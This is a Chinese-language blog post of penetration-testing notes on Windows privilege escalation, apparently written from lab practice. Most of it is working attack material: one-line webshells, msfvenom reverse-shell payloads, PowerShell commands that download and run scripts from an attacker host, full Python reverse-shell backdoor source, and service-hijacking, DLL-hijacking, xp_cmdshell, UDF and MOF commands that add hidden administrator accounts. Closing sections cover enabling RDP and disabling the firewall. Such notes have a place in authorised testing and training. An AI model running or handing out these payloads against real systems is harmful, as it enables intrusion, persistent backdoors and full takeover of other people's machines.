windows提权总结

文章目录

  • windows基础知识
  • 提权总结
    • 基础知识
    • 提权思路
    • metasplit 提权
    • 反弹shell提权
    • windows系统配置错误提权
      • 系统服务权限配置错误
      • 不带引号的服务路径提权
      • 注册键 AlwaysInstallElevated
    • 本地dll劫持提权
    • 第三方提权
      • sqlserver提权
      • mysql提权
      • MOF提权
      • G6FTP提权
    • 绕过UAC bypassuac
    • 远程终端
    • lcx端口转发
  • 补充知识

windows基础知识

基本命令

net user
net user administrator
net localgroup
net user col 123456 /add
net user col  /del
net localgroup Administrators col /add
此时同时存在两个组里面
本地组成员             *Administrators       *Users
cmd /k cmd /c  (keep/close)

内置用户组

administrators,管理员组

users组,新建用户默认所属的组

guests组,权限最低

iis_users组 Internet 信息服务使用的内置组。

SID

使用标准表示法将 SID 从二进制转换为字符串格式时,SID 的组件更容易可视化:

S-R-X-Y1-Y2-Yn-1-Yn

在这种表示法中,下表描述了 SID 的组成部分:

评论 说明
S 指示字符串是 SID
R 指示修订级别
X 指示标识符颁发机构值
Y 表示一系列子授权值,其中 n 是值的数目

内置管理员组的 SID 以标准化 SID 表示法表示为以下字符串:

S-1-5-32-544

此 SID 包含四个组成部分:

  • 修订级别 (1)
  • 标识符颁发机构值(5, NT Authority)
  • 域标识符 (32, Builtin)
  • 相对标识符 (544, Administrators)

域 (Contoso\Domain Admins) 中的“Domain Admins”组的 SID:

S-1-5-21-1004336348-1177238915-682003330-512

Contoso\Domain Admins 的 SID 具有:

  • 修订级别 (1)
  • 标识符颁发机构(5,NT Authority)
  • 域标识符 (21-1004336348-1177238915-682003330, Contoso)
  • 相对标识符(512,Domain Admins)

提权总结

基础知识

概念

webshell的权限根据不同的中间件权限有所不同,如没经过特殊设置则继承该中间件的权限。

webshell的默认权限是iis_users组中的

常用方法

windows的常用提权方法,主要分为漏洞提权、windwos特性提权、第三方组件提权,数据库提权和ftp

提权等

基础命令

systeminfo | findstr OS #获取系统版本信息
systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True
get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软件包
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
Set #环境变量
quser or query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口,默认3389
tasklist /svc | find "TermService" #获取服务pid
netstat -ano |find "pid" #获取远程端口
wmic os get caption # 查看系统名
wmic qfe get Description,HotFixID,InstalledOn #查看补丁信息
mstsc #远程桌面连接

常见杀软

360sd.exe 360杀毒
360tray.exe 360实时保护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAfee McShield.exe McAfee
egui.exe NOD32
AVP.exe 卡巴斯基
avguard.exe 小红伞

常见 webshell 所处的权限

  • ASP、PHP - 匿名权限
  • ASPX - user 权限
  • JSP - 通常是系统权限

一句话木马

php: <?php @eval($_POST['pass']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

提权思路

信息收集

机器的系统及其版本
机器的打补丁情况
机器安装的服务
机器的防火墙策略配置
机器的防护软件情况

导入系统信息

systeminfo > C:\ProgramData\sysinfo.txt

补丁查询

https://i.hacking8.com/tiquan //在线查询
wesng
WindowsVulnScan

wesng用法

sudo proxychains4 python3 wes.py --update
python3 wes.py systeminfo.txt
python3 wes.py systeminfo.txt  -o vulns.csv
python wes.py systeminfo.txt --impact "Remote Code Execution" -o vulns.csv
python wes.py systeminfo.txt --impact "Remote Code Execution" -e -o vulns.csv

查询可写目录或文件

wt.aspx

wt.asp

在可写目录上传提权用的exe,然后执行命令

c:\windows\debug\WIA\
C:/windows/debug/WIA/PrintSpoofer64.exe -i -c whoami

metasplit 提权

反向连接后门

//启动
msfconsole
//生成反向连接后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.128 lport=12345 -f exe > s.exe

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.128
set lport 12345
show options
set AutoRunScript migrate -f
exploit
background

meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool

windwos常见的提权模块

ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞

msf的基础命令

ps 列出进程
background 把session放置后台
sessions 查看会话
back 返回主界面
shell得到终端
search搜索模块
show 列模块
info 查看模块信息
use 使用模块

run post/windows/gather/enum_patches  查询补丁

use post/multi/recon/local_exploit_suggester   使用模块提权审查
set session 1
exploit

use exploit/windows/local/ms16_075_reflection_juicy 使用存在的exp
show options
set session 2
run
getuid
//meterpreter > getuid
//Server username: NT AUTHORITY\SYSTEM

维持权限

系统是x64,把后门迁移到别的进程

getpid	查看当前shell进程号
ps		列出正在运行进程
migrate 2744 迁移进程号
run post/windows/manage/migrate	自动寻找合适进程迁移

反弹shell提权

交互shell

交互shell就是shell等待你的输入,并且立即执行你提交的命令。

这种模式被称作交互式是因为shell与用户进行交互。

需要进行信息交互,例如输入某个信息 会返回信息 你需要对其输入内容,输入会执行命令。

例如:cmd终端 msf反弹后门shell nc反弹shell 这些都属于交互shell

非交互shell

非交互式模式,以shell script(非交互)方式执行。

在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。

当它读到文件的结尾,shell也就终止了。

nc反弹shell

上传nc.exe,然后执行命令

C:/ProgramData/nc.exe -e cmd 192.168.10.128 6666

powershell反弹cmd

攻击者监听

nc -lvnp 6666
在powercat.ps1页面开启一个服务器
python -m http.server 80
powershell IEX (New-Object system.Net.Webclient).DownloadString('http://192.168.10.128/powercat.ps1'); powercat -c 192.168.10.128 -p 6666 -e cmd

nishang反弹shell

Reverse TCP shell

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.128/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.10.128 -port 6666

Reverse TCP shel

nc -lvup 53
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.10.128 -port 53

python反弹shell

import asyncio
import socket
import argparse

parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter, 
                                 description="###############         pycat         ###############\n" \
                                             "          Windows Reverse TCP backdoor\n"
                                             "Usage: python pycat.py --host netcatIP --port PORT\n\n" \
                                             "Demo:  youtube.com/watch?v=3sMhHL6c68E\n"\
                                             "GitHub:  github.com/danielhnmoreno/pycat\n" \
                                             "Contact: [email protected]")

parser.add_argument('--host', action = 'store', dest = 'host', required = True, help = 'Host listening for reverse connection')
parser.add_argument('--port', action = 'store', type=int, dest = 'port', required = True, help = 'Port')

arguments = parser.parse_args()

HOST = arguments.host
PORT = arguments.port


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

async def shell():
    while 1:
        proc = await asyncio.create_subprocess_shell("cmd",
                                                     stdin=asyncio.subprocess.PIPE,
                                                     stdout=asyncio.subprocess.PIPE,
                                                     stderr=asyncio.subprocess.STDOUT)
        cmd = b"\n"
        proc.stdin.write(cmd)

        while 1:
            while 1:
                out = await proc.stdout.readline()
                break_ = out.decode("latin-1")
                if break_[-2:] == ">\n" or break_[-3:] == "> \n":
                    s.send(out[:-1])
                    break
                elif break_.endswith(">" + cmd.decode()) or break_.endswith("> " + cmd.decode()):
                    pass
                else:
                    s.send(out)

            cmd = s.recv(1024)
            cmd_ = cmd.decode()
            if cmd_ == "\n":
                proc.stdin.write(b"\n")
            elif cmd_.startswith("exit"):
                proc.terminate()
                break
            else:
                proc.stdin.write(cmd + b"\n")

asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy())
asyncio.run(shell())
python pycat.py --host 192.168.10.128 --port 6666
C:\Python\Python39\python.exe C:\pycat.py --host 192.168.10.128 --port 6666

pyinstaller -Fw pycat.py
pycat.exe --host 192.168.10.128 --port 6666

windows系统配置错误提权

系统服务权限配置错误

Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的),倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户 对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权 限。 windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护 的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。

PowerUP脚本

powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.10.128/PowerUp.ps1'); Invoke-AllChecks"

PrivescCheck脚本

推荐使用PrivescCheck

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/PrivescCheck.ps1'); Invoke-PrivescCheck"

关注Service Permissions 中扫到的服务及权限和用户

+------+------------------------------------------------+------+
| TEST | SERVICES > Service Permissions                 | VULN |
+------+------------------------------------------------+------+
| DESC | Interact with the Service Control Manager (SCM) and   |
|      | check whether the current user can modify any         |
|      | registered service.                                   |
+------+-------------------------------------------------------+
[*] Found 1 result(s).

Name              : UsoSvc
ImagePath         : C:\WINDOWS\system32\svchost.exe - k netsvcs - p
User              : LocalSystem
AccessRights      : AllAccess
IdentityReference : NT AUTHORITY\SERVICE
Status            : Stopped
UserCanStart      : True

whoami /all

NT AUTHORITY\SERVICE      已知组      S-1-5-6      必需的组, 启用于默认, 启用的组
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415

上面的IIS用户账户隶属于NT AUTHORITY\SERVICE组,我们可以以NT AUTHORITY\SERVICE组中用户的身份运行如下命令

sc query UsoSvc
sc stop UsoSvc
sc config UsoSvc binpath= "cmd.exe /c net user /add Only Qwer1234 &"
sc start UsoSvc 

sc stop UsoSvc 
sc config UsoSvc binpath= "cmd.exe /c net localgroup administrators /add only &"
sc start UsoSvc

sc stop UsoSvc
sc config UsoSvc binpath= "C:\WINDOWS\system32\svchost.exe -k netsvcs -p" 
sc start UsoSvc

我们可将 UsoSvc服务设置为后门程序,此连接一般不稳定,建议尽快进行后门迁移

sc config usosvc binPath= "C:\ProgramData\s.exe"   //将 UsoSvc服务设置为后门程序
set AutoRunScript migrate -f 自动迁移进程
sc start UsoSvc
//此时开始接受监听,返回system权限

Metasploit中的攻击模块 exploit/windows/local/service_permissions

service_permissions模块会使用两种方式获取system权限,如果以管理员权限运行,会尝试创建并运行一

个新的服务。如果当前权限不允许创建服务,会判断哪些服务的文件或文件夹的权限有问题,并对其进行劫

持,在劫持服务时会创建一个可执行程序,其文件名和安装路径都是随机的。

不带引号的服务路径提权

有引号正常执行,没有双引号的时候,windows会把空格前面的当做exe文件执行

使用PowerUp.ps1或PrivescCheck进行检测,会遍历出带有空格的文件路径

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/PowerUp.ps1');Invoke-AllChecks"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/PrivescCheck.ps1'); Invoke-PrivescCheck"

或者使用命令

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """
Name        : 2345PicSvc
DisplayName : 2345看图王核心服务
ImagePath   : C:\Program Files (x86)\2345Soft\2345Pic\protect\Pic_2345Svc.exe
User        : LocalSystem
StartMode   : Automatic
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.128 lport=12345 -f exe > s.exe
改名为Program.exe,上传到c盘,服务器重启后metasplit拿到system权限(系统在重启或者管理员重启该服务的时候就会获取系统权限,如果有执行权限也可直接执行)

注册键 AlwaysInstallElevated

允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。

使用系统权限通过命令行修改注册表值为1

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

使用PowerUp检测注册表是否有设置,如果返回True证明可以利用

powershell -nop -exec bypass  IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/PowerUp.ps1'); Get-RegAlwaysInstallElevated

iis_user组用户权限不足 返回false,但是一般普通用户是拥有权限的,可能会返回True。

获取Metasploit 下的利用

Metasploit中相应的利用模块为exploit/windows/local/always_install_elevated,可以利用该模块来完成以上操作。使用该模块设置好SESSION,运行exploit后,会返回一个system权限的meterpreter。该模块会创建一个文件名随机的MSI文件,并在提权后删除所有已经部署的文件。

自动安装配置文件提权

网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用

安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。

dir /b /s c:\Unattend.xml
/s:显示指定目录和所有子目录中的文件。

也可以使用msf的post/windows/gather/enum_unattend对这个配置文件扫描

使用Powerup扫描

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://host/powerup.ps1');Get-UnattendedInstallFile"

本地dll劫持提权

Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
  • 收集进程加载的dll

手动可以使用火绒剑分析进程执行时加载了哪些dll,尽量选择调用靠后或不影响进程启动的dll文件,否则会容易导致进程无法启动,系统文件一般我们都是没有权限更改不了的,所以一般选择未知文件和数字签名文件

用火绒剑找到一个数字签名文件

C:\Program Files (x86)\2345Soft\2345Pinyin\7.9.1.8320\libcurl_x86.dll

  • 制作dll木马并上传

生成dll文件上传并在进程未启动时替换原来的dll

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.128 lport=12345 -f dll > libcurl_x86.dll

结束进程

/c taskkill /f /im "2345PinyinCloud.exe" /t

监听,启动服务即可

/c C:\Program Files (x86)\2345Soft\2345Pinyin\7.9.1.8320\2345PinyinCloud.exe

第三方提权

安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。

sqlserver提权

敏感文件

web.config
config.asp
conn.aspx
database.aspx

如果网站里面使用的数据库是sqlserver,那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定是系统权限,还要看管理员安装sqlserver的权限设置,一般情况是system权限或者pulic

netstat -ano
发现1433端口

用aspx工具中的DataBase连接SQL server

#检测xp_cmdshell是否开启
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';


#如果xp_cmdshell被删除,可以使用命令加载
dbcc addextendedproc("xp_cmdshell","xplog70.dll");


#如果xplog70.dll文件被删除,可手动上传恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';


#启动xp_cmdshell扩展存储过程
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
# 默认情况下sp_configure无法查看和更改高级配置选项,show advanced options”用来显示或更改当前服务器的全局配置设置。当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项。
# reconfigure使语句执行后立即生效,若无此命令,需重启SQLserver后才生效。


#查看权限
exec xp_cmdshell "whoami";


#提权
exec xp_cmdshell "net user only Qwer1234 /add"
exec xp_cmdshell "net localgroup administrators only /add"
exec xp_cmdshell "net user only"


#远程登陆,查看3389状态
exec master.dbo.xp_cmdshell 'netstat -ano';
#如果3389没开,使用写入注册表方式开启
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;exec master..xp_cmdshell "REG ADD HKLMISYSTEMCurrentControlSetlControNTerminal" "Server Iv fDenyTSConnections /t REG_ DWORD /d 0 /f"

mysql提权

提权条件

  1. 具有MySQL的root权限,且MySQL以system权限运行。

  2. 具有执行SQL语句的权限。

  3. 查询plugin插件目录
    show variables like "%plugin%"
    
    如果不存在的话可以在webshell找到mysql的安装目录然后手动创建\lib\plugin
    select @@basedir;
    
    查看是否开启secure_file_priv
    SELECT @@global.secure_file_priv
    

获取root密码的方法:

1. 查看数据库配置文件
   关键字:`config``conn``sql``data``inc``database`2. 下载mysql安装路径下的数据文件
   - 安装路径下的data目录中存放的是数据库的数据信息
   - root账号密码存储在mysql数据库下的user表中
   - 完整路径=安装路径+`\data\mysql\user.MYD`
3. 3306端口弱口令爆破
4. sqlmap注入 `--sql-shell`模式

php文件连接后先导出udf,再创建函数

C:/phpStudy/MySQL/lib/plugin/moonudf.dll

UDF提权

UDF可以理解为MySQL的函数库,可以利用udf定义的创建函数。想要利用udf,必须上传udf.dll作为udf的执行库。MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能。

利用条件

如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的MySQL\Lib\Plugin\文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。

如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:/windows/system32/目录,在windows server 2000下放置在c:/winnt/system32/目录。

掌握mysql数据库的root账户,从而拥有对mysql的insert和delete权限,以创建和抛弃函数。

拥有可以将udf.dll写入相应目录的权限。

mysql提权问题

1.版本有32 和64位的mysql 创建函数的方法一样,但是64版本的要用64的udf.dll

2.The MySQL server is running with the –secure-file-priv option so it cannot execute this

statement

这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可

3.Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll

这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够

MOF提权

MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

利用条件

  1. 只使用于windows系统,一般低版本系统才可以用,比如xpserver2003
  2. C:\Windows\System32\wbem\MOF目录有读写权限
  3. secure-file-priv参数开启

上传mof.php(zkeys)到网站目录下

net.exe user coleak$ xxx12456 /add && net localgroup administrators coleak$ /add

G6FTP提权

G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要使用lcx 工具进行端口转发。

漏洞复现

在webshell访问 配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini

使用端口转发工具将8021端口转发出来

C:\ProgramData\lcx.exe -tran 2333 127.0.0.1 8021

另开一台win10攻击机,安装好服务

windows提权总结_第1张图片

进入域,创建用户并设置用户主目录为C:\,访问权限为所有,将添加管理员命令保存为bat文件,上传到目标并在设置中添加批处理命令

windows提权总结_第2张图片

net user only QWEasd123 /add && net localgroup administrators only /add

在命令行中登录ftp,并执行批处理命令,但是执行失败了

quote stie ADD

ftp://192.168.10.146/右键登录进入c盘,利用C:\可写,利用错误配置(不带引号的服务路径提权)上传Program.exe,重启后提权成功

利用C:\可写,将bat文件写入到自启动项提权,或者直接写入后门文件

管理员下次登陆时会执行文件

ftp://192.168.10.146/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/

net user only QWEasd123 /add && net localgroup administrators only /add

绕过UAC bypassuac

需要UAC的授权才能进行的部分操作列表如下:

配置Windows Update

增加、删除账户

更改账户类型

更改UAC的设置

安装ActiveX

安装、卸载程序

安装设备驱动程序

将文件移动/复制到Program Files或Windows目录下

查看其它用户的文件夹

Bypassuac提权的MSF模块

use exploit/windows/local/bypassuac  
#该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。

use exploit/windows/local/bypassuac_injection  
#该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
set session 1
getsystem
迁移进行到64进程即可hashdump

MSF中Bypassuac模块的使用前提有两个:

  1. 系统当前用户必须在管理员组中,
  2. 用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我”

远程终端

在较高的权限下可以使用注册表命令 进行开启

2008 or 2012 or 2016 开启3389

echo DO ALL IN CMD! 
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

msf命令开启3389端口

run getguid -e

一条命令开启3389

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

WMIC命令开启3389

  • 支持系统

    Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)

前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
  • 支持系统

Win2k/XP/Win2k3

wmic /node:192.168.0.103 /user:administrator/password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
  • 支持系统

Win7/Win2k8/Win8.1/Win10/2012/2016

wmic /node:192.168.0.116/user:administrator/password:betasec RDTOGGLE WHERE ServerName='WINTO2CN3V2VPR' call SetAllowTSConnections 1

wmic /node:192.168.0.116 /user:administrator/password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

查询是否开启3389

0为On 1为OFF

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

lcx端口转发

本地转发:客户端–>127.0.0.1:3307–>127.0.0.1:3306

lcx.exe -tran 3307 127.0.0.1 3306

远程转发

服务端执行

lcx.exe -slave client-host 2333 127.0.0.1 3389

客户端执行

lcx.exe -listen 51 2333

客户端或攻击者使用远程终端连接本地client-host:51即登录服务端3389的远程桌面

补充知识

git配置命令

git config --global http.proxy #查看git的http代理配置
git config --global https.proxy #查看git的https代理配置
git config --global -l #查看git的所有配置
git config --list
git config --global --unset http.proxy
git config --global --unset https.proxy
git config --global http.proxy 10.133.40.227:7890
git config --global https.proxy 10.133.40.227:7890
git config --global --edit

网络 代理/共享

之前给kali开启代理时将WLAN设置了共享,该选项会导致物理机不能接通虚拟机,因此需要提前关掉共享选项再访问虚拟机。

php内置服务器

php -S 0.0.0.0:80 -t `pwd`

python内置服务器

python -m http.server 8080 # 指定端口号为8080, 默认端口号为8000

nc参数

  -g<网关>         设置路由器跃程通信网关,最多可设置8个。
  -G<指向器数目>   设置来源路由指向器,其数值为4的倍数。
  -h               在线帮助。
  -i<延迟秒数>     设置时间间隔,以便传送信息及扫描通信端口。
  -l               监听模式,用于入站连接 (监听本地端口)-n               直接使用IP地址,而不通过域名服务器。
  -o<输出文件>     指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
  -p<通信端口>     设置本地主机使用的通信端口。
  -r               随机指定本地与远端主机的通信端口。
  -s<来源位址>     设置本地主机送出数据包的IP地址。
  -u               使用UDP传输协议。
  -v               显示指令执行过程。
  -w<超时秒数>     设置等待连线的时间。

远程桌面

mstsc

关闭防护墙

netsh advfirewall show allprofile state 查询状态

netsh advfirewall set allprofiles state off 关闭防火墙

net stop "Windows Firewall" 关闭防火墙

sc config sharedaccess start= disabled 禁用防火墙

net stop sharedaccess 关闭防火墙

你可能感兴趣的:(#,渗透测试,windows,系统安全,web安全,安全,网络安全)